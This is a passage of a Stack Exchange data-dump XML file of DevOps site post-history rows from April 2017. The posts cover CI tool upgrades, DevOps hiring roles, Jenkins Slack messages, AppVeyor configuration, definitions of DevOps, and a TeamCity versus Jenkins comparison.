  <row Id="2535" PostHistoryTypeId="5" PostId="799" RevisionGUID="416a905e-6593-48f4-b5cc-29bb8a489f3e" CreationDate="2017-04-06T13:23:56.503" UserId="13" Comment="added 4 characters in body" Text="From your list of tools:&#xD;&#xA;&#xD;&#xA;Jenkins and Github have apt/yum repositories you can use to install and upgrade. &#xD;&#xA;&#xD;&#xA;For Atlassian products, best up to date information about repositories I can found is [This ShipIt experiment](https://confluence.atlassian.com/display/DEV/ShipIt+8+-+Debian+Package+for+JIRA) and it seems unlikely to change from [this forum post](https://community.atlassian.com/t5/Bitbucket-questions/Is-it-possible-to-install-Bitbucket-with-apt-get/qaq-p/300619)&#xD;&#xA;&#xD;&#xA;Now if you really want something automated to handle the installation and configuration of your tools, you can try a Configuration Management System like Chef/Puppet/Ansible/Salt.&#xD;&#xA;&#xD;&#xA;For Chef I know better, there's cookbooks for Jira and Confluence maintained.  &#xD;&#xA;For the rest you'll be on your own writing the bits to deploy and configure.&#xD;&#xA;&#xD;&#xA;This means having 4 CI/CD systems (at least), two 'groups' validating each other, as a pipeline won't be able to validate and upgrade itself properly (inception). That sounds overkill in my opinion.&#xD;&#xA;&#xD;&#xA;At the end of the day, there's no silver bullet for all and every software you may use, each will have its own particularity and way to be installed and you'll have to workaround those bits." ContentLicense="CC BY-SA 3.0" />
  <row Id="2536" PostHistoryTypeId="2" PostId="801" RevisionGUID="996c4bdb-e8f9-4d1c-8637-0f55a815597c" CreationDate="2017-04-06T13:24:18.323" UserId="228" Text="**TL;DR**: You should **never** try to hire a **DevOps Team**&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;There are essentially three most common roles to hire for:&#xD;&#xA;&#xD;&#xA; 1. DevOps Architect / Evangelist&#xD;&#xA; 2. DevOps Engineer&#xD;&#xA; 3. CI/CD Engineer&#xD;&#xA;&#xD;&#xA;These roles are distinct from your 6 essential software development roles that traditionally compose the software engineering organization:&#xD;&#xA;&#xD;&#xA; 1. Product Management&#xD;&#xA; 2. Software Development&#xD;&#xA; 3. Tools Development&#xD;&#xA; 4. Security and Compliance&#xD;&#xA; 5. Quality and Testing&#xD;&#xA; 6. System Operations (SRE)&#xD;&#xA;&#xD;&#xA;Lets go through the three roles one by one and see how they fit&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;DevOps Architect or Evangelist&#xD;&#xA;------------------------------&#xD;&#xA;&#xD;&#xA;  - **Why**: If you are lost, slow, broken and don't know what to do.&#xD;&#xA;  - **When**: At the start of the process in planing stages.&#xD;&#xA;  - **What**: Management level role to guide all managers and leads in the entire Software Engineering org. This person will plan the entire transformation of your engineering organization to a highly functioning state.&#xD;&#xA;  - **Who**: Consulting member well versed in theory, management practices, culture topics and operations who reports directly to VP of Software Engineering. &#xD;&#xA;&#xD;&#xA;In some cases and for smaller and mid-sized companies you might start the process instead with hiring a consulting organization, like DORA.&#xD;&#xA;&#xD;&#xA;DevOps Engineer&#xD;&#xA;---------------&#xD;&#xA;&#xD;&#xA;  - **Why**: &#xD;&#xA;     1. To bridge the gaps between teams if they are organized along the functional roles mentioned above to ensure cross functional level cooperation. &#xD;&#xA;     2. To embed with product oriented teams, which have each of the 6 traditional roles included in the team, to help bridge the knowledge gaps and to help with implementation and adoption of the novel practices and tools.&#xD;&#xA;  - **When**: Once you've laid out your plans and the organizational transformation starts and the entire management team is on board.&#xD;&#xA;  - **What**: Enable cross function cooperation, ensure that team boundaries are broken down, that local optimizations inside teams are not creating a barrier to high throughput of work throughout the value chains all the way from customer wishes to customer deliveries.&#xD;&#xA;  - **Who**: Experienced engineer with skills both in software development and system operations. He should be skilled in the best practices, process and culture changes related to DevOps transformation.&#xD;&#xA;&#xD;&#xA;CI/CD Engineer&#xD;&#xA;--------------&#xD;&#xA;&#xD;&#xA;  - **Why**: To help implement CI/CD pipelines, integrate your tool chain, bring in the tools that will enable better working of the company.&#xD;&#xA;  - **When**: During the transition in larger organization, while the above roles have been already filled.&#xD;&#xA;  - **What**: Engineer, which is essentially part of the tools team that will be able to setup CI/CD pipelines and start integrating internal systems in a way that will remove friction from the throughput of work.&#xD;&#xA;  - **Who**: Engineer experienced with Tools, Integration process, Release Management and DevOps practices. Someone who understands they are replacing human gating in release process by Automation.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2537" PostHistoryTypeId="5" PostId="799" RevisionGUID="68c524e9-18e4-43e4-89c6-021f709754a3" CreationDate="2017-04-06T13:29:50.117" UserId="13" Comment="added 190 characters in body" Text="From your list of tools:&#xD;&#xA;&#xD;&#xA;Jenkins and Github have apt/yum repositories you can use to install and upgrade. &#xD;&#xA;&#xD;&#xA;For Atlassian products, best up to date information about repositories I can found is [This ShipIt experiment](https://confluence.atlassian.com/display/DEV/ShipIt+8+-+Debian+Package+for+JIRA) and it seems unlikely to change from [this forum post](https://community.atlassian.com/t5/Bitbucket-questions/Is-it-possible-to-install-Bitbucket-with-apt-get/qaq-p/300619)  &#xD;&#xA;The workaround may be [parsing the mailing list](https://community.atlassian.com/t5/JIRA-questions/I-would-like-to-track-Atlassian-product-releases/qaq-p/308308) to update the deploy. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now if you really want something automated to handle the installation and configuration of your tools, you can try a Configuration Management System like Chef/Puppet/Ansible/Salt.&#xD;&#xA;&#xD;&#xA;For Chef I know better, there's cookbooks for Jira and Confluence maintained.  &#xD;&#xA;For the rest you'll be on your own writing the bits to deploy and configure.&#xD;&#xA;&#xD;&#xA;This means having 4 CI/CD systems (at least), two 'groups' validating each other, as a pipeline won't be able to validate and upgrade itself properly (inception). That sounds overkill in my opinion.&#xD;&#xA;&#xD;&#xA;At the end of the day, there's no silver bullet for all and every software you may use, each will have its own particularity and way to be installed and you'll have to workaround those bits." ContentLicense="CC BY-SA 3.0" />
  <row Id="2538" PostHistoryTypeId="2" PostId="802" RevisionGUID="eb26140f-1c9d-4300-ae2d-4aa3b2360c3a" CreationDate="2017-04-06T13:37:23.547" UserId="47" Text="For tools which don't offer access to a source code management repository that you can automatically query for updates you could start with a manual trigger, then take a closer look for how is that trigger activated by humans and maybe automate the task:&#xD;&#xA;&#xD;&#xA;- there could be upgrade email notifications sent to a subscriber list. An automatic email processing entity could be subscribed to get these messages and distil them into an automatic trigger&#xD;&#xA;&#xD;&#xA;- the tool itself may performs such checks, maybe displaying messages in its log(s). In such case an automated tool could be parsing the log and derive an automatic trigger from it. If the upgrade availability is displayed in a GUI it's may be more difficult, but not impossible, to automate that as well&#xD;&#xA;&#xD;&#xA;- the tool provider may (or could be persuaded to) offer a programmatic way to query for or be notified about upgrades - API, webhook, service, etc&#xD;&#xA;&#xD;&#xA;I'd suggest keeping the human monitoring and ability to activate those triggers in parallel with the automated system - just in case there are unexpected changes rendering the automatic triggers ineffective. Such monitoring could be more relaxed (say once a week/month), just as a precautionary safety net." ContentLicense="CC BY-SA 3.0" />
  <row Id="2539" PostHistoryTypeId="2" PostId="803" RevisionGUID="755860f7-4ed8-4e2b-97f5-ec1a7e275af6" CreationDate="2017-04-06T14:31:04.920" UserId="736" Text="We're running Jenkins with the [Slack Notification Plugin][1]. Is there a way to send the custom message only on completion, not on start? To be clear, I **don't** want to disable the build started message, I'd just like the custom text to only show on completion (success). &#xD;&#xA;&#xD;&#xA;Use case is jobs like delete stack. We use the custom message to make it clear which stack the job deleted, but you end up with slack messages like (paraphrased)&#xD;&#xA;&#xD;&#xA;    Delete job started&#xD;&#xA;      Deleted Alex stack&#xD;&#xA;    &#xD;&#xA;    Delete job finished&#xD;&#xA;      Deleted Alex stack&#xD;&#xA;&#xD;&#xA;Obviously you can see where this causes confusion. I'd rather get&#xD;&#xA;&#xD;&#xA;    Delete job started&#xD;&#xA;    &#xD;&#xA;    Delete job finished&#xD;&#xA;      Deleted Alex stack&#xD;&#xA;&#xD;&#xA;&quot;It can't be done&quot; is an acceptable answer if that's the case. I know I can do a pipelines workaround but I'd love a quick fix for the jobs we haven't converted yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Slack+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2540" PostHistoryTypeId="1" PostId="803" RevisionGUID="755860f7-4ed8-4e2b-97f5-ec1a7e275af6" CreationDate="2017-04-06T14:31:04.920" UserId="736" Text="Jenkins Slack messages - include custom message only on completion" ContentLicense="CC BY-SA 3.0" />
  <row Id="2541" PostHistoryTypeId="3" PostId="803" RevisionGUID="755860f7-4ed8-4e2b-97f5-ec1a7e275af6" CreationDate="2017-04-06T14:31:04.920" UserId="736" Text="&lt;jenkins&gt;&lt;slack&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2542" PostHistoryTypeId="2" PostId="804" RevisionGUID="7d49ac12-f774-43d0-abee-0c0a5f7da60f" CreationDate="2017-04-06T15:28:42.953" UserId="13" Text="I'd argue Devops Engineer as described in your [question link](http://insights.dice.com/2014/10/30/sample-job-description-devops-engineer/) is mainly a sysadmin role.  &#xD;&#xA;In this sample job description DevOps Engineer is just a buzz word for a sysadmin comfortable with cloud based infrastructure, automation, able to read code to help in diagnostic, and aware of high availability practices and solutions.&#xD;&#xA;&#xD;&#xA;This is loosely related to DevOps practices and silo breaking culture between dev and ops as seen in this question [What is the difference between Sysadmin and DevOps Engineer?](http://devops.stackexchange.com/q/157/13)&#xD;&#xA;&#xD;&#xA;It won't be a good idea because a sysadmin, how comfortable he/she can be with devops practice and culture, is not the right person to drive a company transformation. You won't be hiring this person with a culture change in mind but with a tool configuration view, which won't really help breaking the processes. This may also be badly received by his/her colleagues and you'll just bring resistance to the change if there's no culture change planned beforehand&#xD;&#xA;&#xD;&#xA;For a successful pattern toward the gains of devops, @[Jiri Klouda](http://devops.stackexchange.com/users/228/jiri-klouda)'s [answer]((http://devops.stackexchange.com/a/801/13)) gives a great overview on an acceptable DevOps Engineer role along with the step in the change it would bring value and help toward success.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2543" PostHistoryTypeId="5" PostId="796" RevisionGUID="239a22a9-57f3-45d1-a854-207ee0642083" CreationDate="2017-04-06T15:56:46.897" UserId="397" Comment="Preface" Text="Specifically in answer to your 3&lt;sup&gt;rd&lt;/sup&gt; question, if you are willing to look outside of the Jenkins Ecosystem there are alternatives out there that might be of value to you. &#xD;&#xA;&#xD;&#xA;For my clients who use the Microsoft Stack and have fewer than four teams, I have been recommending the use of [AppVeyor][1] it is highly tuned for the .NET Stack and integrated very naturally with `msbuild` and Wix.&#xD;&#xA;&#xD;&#xA;[![AppVeyor][2]][2]&#xD;&#xA;&#xD;&#xA;There are two ways of configuring AppVeyor, either through the [web-based user interface][3] or via the [`appveyor.yml` file][4] checked into the root of the git repository.  I would strongly recommend the latter, you are welcome to start from this template:&#xD;&#xA;&#xD;&#xA;    version: 3.0.{build}&#xD;&#xA;&#xD;&#xA;    build:&#xD;&#xA;      parallel: true&#xD;&#xA;      project: EVEMon.sln&#xD;&#xA;&#xD;&#xA;    cache:&#xD;&#xA;      - packages -&gt; **\packages.config&#xD;&#xA;&#xD;&#xA;    install:&#xD;&#xA;      - nuget restore&#xD;&#xA;&#xD;&#xA;The major drawback of AppVeyor and it's cousins [TravisCI][5] and [CircleCI][6] is they don't play particularly nicely with on-premise source code management solutions, you do really need to be using GitHub or BitBucket.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.appveyor.com/&#xD;&#xA;  [2]: https://i.stack.imgur.com/96imo.png&#xD;&#xA;  [3]: https://ci.appveyor.com&#xD;&#xA;  [4]: https://www.appveyor.com/docs/appveyor-yml/&#xD;&#xA;  [5]: https://travis-ci.org/&#xD;&#xA;  [6]: https://circleci.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2544" PostHistoryTypeId="2" PostId="805" RevisionGUID="da34f588-9e5b-4f51-86cf-9613d1129ce0" CreationDate="2017-04-06T16:19:11.300" UserId="10" Text="As far as I was able to tell it's not possible.&#xD;&#xA;&#xD;&#xA;We solved this by using Pipeline putting the custom messages in the Jenkinsfile.&#xD;&#xA;&#xD;&#xA;The flexibility gained by having the Jenkinsfile in the git repo really helped our developers have a better understanding of the build process, and allowed them to make necessary changes to the build commands without the communications headache.&#xD;&#xA;&#xD;&#xA;It's a nice excuse to move over to Pipeline.&#xD;&#xA;&#xD;&#xA;It also happens to be very easy to do:&#xD;&#xA;&#xD;&#xA;`slackSend (color: colorCode, message: customMessage)`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2546" PostHistoryTypeId="5" PostId="779" RevisionGUID="c8a825b4-4aa2-4f2a-ac89-162093d1a6d9" CreationDate="2017-04-06T16:32:29.780" UserId="259" Comment="added 25 characters in body" Text="I agree with Adrian on most points.  TeamCity's UI is definitely prettier and you get a lot more built-in functionality out of the box with TeamCity than with Jenkins.  But Jenkins is open source and while the quality (and doc) varies a lot from plugin to plugin, the ecosystem is extensive.&#xD;&#xA;&#xD;&#xA;I've been using Jenkins for years and just started using TeamCity recently.  For example, setting up dependent jobs is much simpler and more intuitive in Jenkins than it is in TeamCity.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2547" PostHistoryTypeId="13" PostId="788" RevisionGUID="b176db3b-1e44-4c4a-b044-a8d3581856d8" CreationDate="2017-04-06T17:43:18.703" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="2548" PostHistoryTypeId="5" PostId="788" RevisionGUID="41a15d4c-0951-4ac5-b1ed-29cc91769723" CreationDate="2017-04-06T17:43:31.807" UserId="40" Comment="deleted 1207 characters in body" Text="I thought I knew what ***DevOps*** actually means, and what it is about. But I've seen some bizarre usages/contexts of *DevOps* (even on [DevOps.SE][1] ...). It makes me wonder if maybe what I think DevOps is, is completely wrong.&#xD;&#xA;&#xD;&#xA;So how would you describe DevOps?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2549" PostHistoryTypeId="2" PostId="806" RevisionGUID="a11c3ce9-21e7-4232-96bb-29d412643a4a" CreationDate="2017-04-06T17:44:02.263" UserId="40" Text="### DevOps in a nutshell&#xD;&#xA;&#xD;&#xA;From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; DevOps (a [clipped compound][2] of &quot;[software **DEV**elopment][3]&quot; and &quot;[information technology **OP**eration**S**][4]&quot;) is a term used to refer to a set of practices that emphasize the collaboration and communication of both [software developers][5] and [information technology][6] (IT) professionals while automating the process of [software delivery][7] and infrastructure changes.&#xD;&#xA;&#xD;&#xA;&gt; It aims at establishing a culture and environment where [building][8], [testing][9], and [releasing software][10] can happen rapidly, frequently, and more reliably.&#xD;&#xA;&#xD;&#xA;So DevOps is at the [intersection][11] of software engineering, quality assurance and operations. While there is no single &quot;tool&quot; for DevOps, but rather a set of tools, also known as a [DevOps toolchain][12].&#xD;&#xA;&#xD;&#xA;### Illustrations of DevOps&#xD;&#xA;&#xD;&#xA;Below are a few quotes from some of the questions on [DevOps.SE][13], which all seem to somehow fit / confirm part of the DevOps description above:&#xD;&#xA;&#xD;&#xA;- From 'http://devops.stackexchange.com/q/86/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... DevOps is about maintaining code ...&#xD;&#xA;&#xD;&#xA;- From (an [answer][14] to) 'http://devops.stackexchange.com/q/468/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... It is a common misbelief that “DevOps” is a role in a company. The word merely denotes an organisational shift in software companies ...&#xD;&#xA;&#xD;&#xA;- From 'http://devops.stackexchange.com/q/333/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... there are still organisations which are not practicing Agile in their software development, who might be interested in adopting DevOps ...&#xD;&#xA;&#xD;&#xA;### DevOps is NOT a role&#xD;&#xA;&#xD;&#xA;Below are a few quotes from some of the questions on [DevOps.SE][13], which all seem to illustrate that DevOps is **NOT** a role:&#xD;&#xA;&#xD;&#xA;- From (an [answer][15] to) 'http://devops.stackexchange.com/q/157/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... DevOps is not a role (when used as such it's more a buzzword than a real role).&#xD;&#xA;&#xD;&#xA;- From (an [answer][14] to) 'http://devops.stackexchange.com/q/468/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... It is a common misbelief that “DevOps” is a role in a company. The word merely denotes an organisational shift in software companies ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Clipped_compound&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Software_development&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Information_technology_operations&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Software_developer&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Information_technology&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Software_delivery&#xD;&#xA;  [8]: https://en.wikipedia.org/wiki/Software_build&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/Software_testing&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/Software_release_life_cycle&#xD;&#xA;  [11]: https://upload.wikimedia.org/wikipedia/commons/b/b5/Devops.svg&#xD;&#xA;  [12]: https://en.wikipedia.org/wiki/DevOps_toolchain&#xD;&#xA;  [13]: http://devops.stackexchange.com/&#xD;&#xA;  [14]: http://devops.stackexchange.com/a/474/40&#xD;&#xA;  [15]: http://devops.stackexchange.com/a/160/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="2550" PostHistoryTypeId="10" PostId="788" RevisionGUID="5545a963-0821-42bb-be8d-3ecf6b488f09" CreationDate="2017-04-06T18:00:28.513" UserId="46" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="2551" PostHistoryTypeId="5" PostId="806" RevisionGUID="365be654-1624-4c59-b952-3edb8b3ad1f6" CreationDate="2017-04-06T18:08:38.670" UserId="47" Comment="inlined image" Text="### DevOps in a nutshell&#xD;&#xA;&#xD;&#xA;From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; DevOps (a [clipped compound][2] of &quot;[software **DEV**elopment][3]&quot; and &quot;[information technology **OP**eration**S**][4]&quot;) is a term used to refer to a set of practices that emphasize the collaboration and communication of both [software developers][5] and [information technology][6] (IT) professionals while automating the process of [software delivery][7] and infrastructure changes.&#xD;&#xA;&#xD;&#xA;&gt; It aims at establishing a culture and environment where [building][8], [testing][9], and [releasing software][10] can happen rapidly, frequently, and more reliably.&#xD;&#xA;&#xD;&#xA;From [Overview][11]:&#xD;&#xA;&#xD;&#xA;&gt; [![enter image description here][12]][12]&#xD;&#xA;&gt; &#xD;&#xA;&gt; Venn diagram showing DevOps as the intersection of [development][3]&#xD;&#xA;&gt; (software engineering), [operations][4] and [quality assurance][13]&#xD;&#xA;&gt; (QA)&#xD;&#xA;&#xD;&#xA;While there is no single &quot;tool&quot; for DevOps, but rather a set of tools, also known as a [DevOps toolchain][14]:&#xD;&#xA;&#xD;&#xA;&gt; [![enter image description here][16]][16]&#xD;&#xA;&gt; &#xD;&#xA;&gt; Illustration showing stages in a DevOps toolchain&#xD;&#xA;&#xD;&#xA;### Illustrations of DevOps&#xD;&#xA;&#xD;&#xA;Below are a few quotes from some of the questions on [DevOps.SE][17], which all seem to somehow fit / confirm part of the DevOps description above:&#xD;&#xA;&#xD;&#xA;- From 'http://devops.stackexchange.com/q/86/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... DevOps is about maintaining code ...&#xD;&#xA;&#xD;&#xA;- From (an [answer][18] to) 'http://devops.stackexchange.com/q/468/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... It is a common misbelief that “DevOps” is a role in a company. The word merely denotes an organisational shift in software companies ...&#xD;&#xA;&#xD;&#xA;- From 'http://devops.stackexchange.com/q/333/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... there are still organisations which are not practicing Agile in their software development, who might be interested in adopting DevOps ...&#xD;&#xA;&#xD;&#xA;### DevOps is NOT a role&#xD;&#xA;&#xD;&#xA;Below are a few quotes from some of the questions on [DevOps.SE][17], which all seem to illustrate that DevOps is **NOT** a role:&#xD;&#xA;&#xD;&#xA;- From (an [answer][19] to) 'http://devops.stackexchange.com/q/157/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... DevOps is not a role (when used as such it's more a buzzword than a real role).&#xD;&#xA;&#xD;&#xA;- From (an [answer][18] to) 'http://devops.stackexchange.com/q/468/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... It is a common misbelief that “DevOps” is a role in a company. The word merely denotes an organisational shift in software companies ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Clipped_compound&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Software_development&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Information_technology_operations&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Software_developer&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Information_technology&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Software_delivery&#xD;&#xA;  [8]: https://en.wikipedia.org/wiki/Software_build&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/Software_testing&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/Software_release_life_cycle&#xD;&#xA;  [11]: https://en.wikipedia.org/wiki/DevOps#Overview&#xD;&#xA;  [12]: https://i.stack.imgur.com/odnjG.png&#xD;&#xA;  [13]: https://en.wikipedia.org/wiki/Quality_assurance&#xD;&#xA;  [14]: https://en.wikipedia.org/wiki/DevOps_toolchain&#xD;&#xA;  [15]: https://en.wikipedia.org/wiki/DevOps#DevOps_toolchain&#xD;&#xA;  [16]: https://i.stack.imgur.com/kKb3O.png&#xD;&#xA;  [17]: http://devops.stackexchange.com/&#xD;&#xA;  [18]: http://devops.stackexchange.com/a/474/40&#xD;&#xA;  [19]: http://devops.stackexchange.com/a/160/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="2552" PostHistoryTypeId="14" PostId="788" RevisionGUID="e8a61620-1429-44ce-9119-a046d706d133" CreationDate="2017-04-06T18:39:26.777" UserId="46" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="2553" PostHistoryTypeId="33" PostId="788" RevisionGUID="a34c9a9d-db47-4202-9ea9-b24fc7d4701e" CreationDate="2017-04-06T18:39:26.777" UserId="46" Comment="1" />
  <row Id="2554" PostHistoryTypeId="15" PostId="788" RevisionGUID="fdfc158d-df1c-40df-9cf1-d1868b1b55c5" CreationDate="2017-04-06T18:40:02.293" UserId="46" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="2555" PostHistoryTypeId="34" PostId="788" RevisionGUID="4624f7ce-5254-4bfe-adb4-964d38744b68" CreationDate="2017-04-06T18:40:02.293" UserId="46" Comment="1" />
  <row Id="2556" PostHistoryTypeId="11" PostId="788" RevisionGUID="92cfd09a-de7d-4a63-a226-2a2c414c30bc" CreationDate="2017-04-06T18:40:06.463" UserId="46" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="2557" PostHistoryTypeId="5" PostId="788" RevisionGUID="b1ffead5-eced-46f4-995c-4d04cd9d6e65" CreationDate="2017-04-06T19:10:47.733" UserId="40" Comment="Attempt to reduce the scope of the question" Text="I've done / created lots of SCM related presentations, and now I'm trying to &quot;upgrade&quot; to a DevOps successor of it.&#xD;&#xA;&#xD;&#xA;What I always try to do in my presentations, is to come up with an introduction slide which somehow includes the message I want to deliver (and which I then elaborate on in the rest of my presentation). When doing so, I try to answer my own question like &quot;What would me 1 to 3 phrases be that I'd want to use if I got like 10 to 20 secs (only!) to explain it to somebody new to it?*&quot;.&#xD;&#xA;&#xD;&#xA;I thought I knew what ***DevOps*** actually means, and what it is about. But I've seen some bizarre usages/contexts of *DevOps* (even on [DevOps.SE][1] ...). It makes me wonder if maybe what I think DevOps is, is completely wrong.&#xD;&#xA;&#xD;&#xA;So what is generally agreed to be the definition of DevOps?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2558" PostHistoryTypeId="4" PostId="788" RevisionGUID="b1ffead5-eced-46f4-995c-4d04cd9d6e65" CreationDate="2017-04-06T19:10:47.733" UserId="40" Comment="Attempt to reduce the scope of the question" Text="What could be a valid definition of DevOps to introduce it to a novice?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2561" PostHistoryTypeId="5" PostId="558" RevisionGUID="8975b201-e8e8-43fe-af5f-4f053be6f2bb" CreationDate="2017-04-06T20:07:09.037" UserId="14" Comment="Add guidance to show research; grammar" Text="For questions about clarifications of DevOps terms. Use this tag to ask about unclear or ambiguous terms, and remember to show any research you've found already before asking about a definition." ContentLicense="CC BY-SA 3.0" />
  <row Id="2562" PostHistoryTypeId="24" PostId="558" RevisionGUID="8975b201-e8e8-43fe-af5f-4f053be6f2bb" CreationDate="2017-04-06T20:07:09.037" Comment="Proposed by 14 approved by 40 edit id of 215" ContentLicense="CC BY-SA 3.0" />
  <row Id="2563" PostHistoryTypeId="5" PostId="785" RevisionGUID="8956aded-dd20-44f2-8419-342b8687c724" CreationDate="2017-04-06T20:47:14.453" UserId="1096" Comment="Added toolchain image for clarity " Text="You mention a few different categories in your toolchain for .NET. Yes, NuGet is still the default package style – and a lot of people use a [Universal Package Manager](https://en.wikipedia.org/wiki/Binary_repository_manager) to manage their NuGet feeds. &#xD;&#xA;&#xD;&#xA;For Deployment, Octopus is indeed an option for pushing out artifacts, but it doesn’t enable some of the other aspects you were talking about. &#xD;&#xA;&#xD;&#xA;An [ARA tool](https://en.wikipedia.org/wiki/Application_release_automation) would probably be a better fit it does more than just Deployment automation and ARA tools are more &quot;Hot&quot; in the DevOps world right now - especially with evolving things like WinOps.&#xD;&#xA;&#xD;&#xA;As far as other tools, take a look at the [DevOps toolchain](https://en.wikipedia.org/wiki/DevOps_toolchain) wiki page and the [WinOps focused tools](https://en.wikipedia.org/wiki/WinOps#WinOps_focused_tools) section. &#xD;&#xA;&#xD;&#xA;*Full disclosure I work at [Inedo](http://inedo.com), and we make a solution for both of these options (with .NET in mind)&#xD;&#xA;&#xD;&#xA;[![Inedo toolchain][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/jmjBn.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2572" PostHistoryTypeId="5" PostId="4" RevisionGUID="1b07c62a-78da-45ef-bde3-34f5dd1ab1d2" CreationDate="2017-04-07T09:59:29.363" UserId="14" Comment="Remove abbreviation and [resisting-change] tag (it is probably too specific to be useful to multiple questions)" Text="I assume that an organization wishing to do a DevOps transformation has some problems and policies it is interested in changing. This interest can come from top managers, middle managers, or even from bottom up. One of the biggest factors impeding this change is making other people buy into doing the change.&#xD;&#xA;&#xD;&#xA;For example, in many cases pushing &quot;new&quot; ideas such as Agile, often fails. People resist change, and it seems like a wall that stop good things from happening. Yet there is a mandate for good things to happen.&#xD;&#xA;&#xD;&#xA;What methods can be used to affect employees in an organization starting its DevOps transformation? Especially ways that are found to work." ContentLicense="CC BY-SA 3.0" />
  <row Id="2573" PostHistoryTypeId="6" PostId="4" RevisionGUID="1b07c62a-78da-45ef-bde3-34f5dd1ab1d2" CreationDate="2017-04-07T09:59:29.363" UserId="14" Comment="Remove abbreviation and [resisting-change] tag (it is probably too specific to be useful to multiple questions)" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2574" PostHistoryTypeId="24" PostId="4" RevisionGUID="1b07c62a-78da-45ef-bde3-34f5dd1ab1d2" CreationDate="2017-04-07T09:59:29.363" Comment="Proposed by 14 approved by 46 edit id of 217" ContentLicense="CC BY-SA 3.0" />
  <row Id="2576" PostHistoryTypeId="2" PostId="808" RevisionGUID="7fa2cacc-b254-4290-821b-54fcd7286603" CreationDate="2017-04-07T14:12:28.010" UserId="1202" Text="**TeamCity :** &#xD;&#xA;&#xD;&#xA;It does look nicer, if this is important for your team then it should definitively weight in.  That said, if it is VERY important than you probably will end up creating tools or some sort of dashboard overlay to support your team at which point what you really want is the one with the best API.  Have not tried Jenkins API so I cannot compare, the TC API though should get you what you need.&#xD;&#xA;&#xD;&#xA;Their support is pretty good, the guys respond relatively fast and are courteous.  However that does not mean you will get what you want.  If you use the system in an unconventional way you can very well get your bug put on the shelves... happened to us.  At which point it becomes quite frustrating to use, you are faced with a black box leaving little alternative than to work around it.  At this point things can get hackish and ugly.&#xD;&#xA;&#xD;&#xA;It is generally pretty quick to get done what you want and the log interaction quasi API is a very nice feature if you do a lot of custom scripting in your pipeline.&#xD;&#xA;&#xD;&#xA;**Jenkins:**&#xD;&#xA;&#xD;&#xA;Battle tested and Extensive.&#xD;&#xA;&#xD;&#xA;But it is somewhat less pretty, would not go as far as saying it is ugly though, one could say that functionality comes before 